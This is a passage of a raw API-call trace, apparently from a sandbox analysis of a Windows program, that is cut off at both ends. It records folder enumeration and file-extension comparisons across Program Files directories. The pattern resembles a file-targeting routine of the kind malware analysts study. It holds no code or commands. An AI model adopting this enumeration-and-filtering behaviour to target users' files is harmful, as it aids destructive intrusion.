[0094.991] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0094.991] lstrlenW (lpString=".ptx") returned 4 [0094.991] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0094.991] lstrlenW (lpString=".pub") returned 4 [0094.991] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0094.991] lstrlenW (lpString=".pwm") returned 4 [0094.991] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0094.992] lstrlenW (lpString=".pxr") returned 4 [0094.992] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0094.992] lstrlenW (lpString=".py") returned 3 [0094.992] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0094.992] lstrlenW (lpString=".qt") returned 3 [0094.992] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0094.992] lstrlenW (lpString=".r3d") returned 4 [0094.992] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0094.992] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.992] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0094.992] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.992] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0094.992] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.992] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0094.993] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.993] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0094.994] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.994] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0094.994] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.994] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0094.994] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.994] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0094.994] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.994] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0094.995] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.995] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0094.995] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.995] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0094.996] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.996] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0094.996] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.996] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0094.996] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.996] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0094.996] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.996] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0094.997] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.997] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0094.997] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.997] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0094.997] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.997] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0094.997] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.997] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0094.998] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.998] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0094.998] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.998] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0094.998] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.998] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0094.998] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.998] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0094.999] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.999] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0094.999] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.999] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0094.999] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.999] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0094.999] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.999] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0094.999] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0095.000] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0095.000] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0095.000] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0095.000] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0095.000] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.000] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0095.002] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0095.002] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0095.002] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0095.002] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.002] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0095.002] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.002] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0095.002] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.002] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0095.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.003] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0095.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0095.003] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0095.003] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0095.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.003] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0095.004] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0095.004] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0095.004] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0095.004] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.004] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, 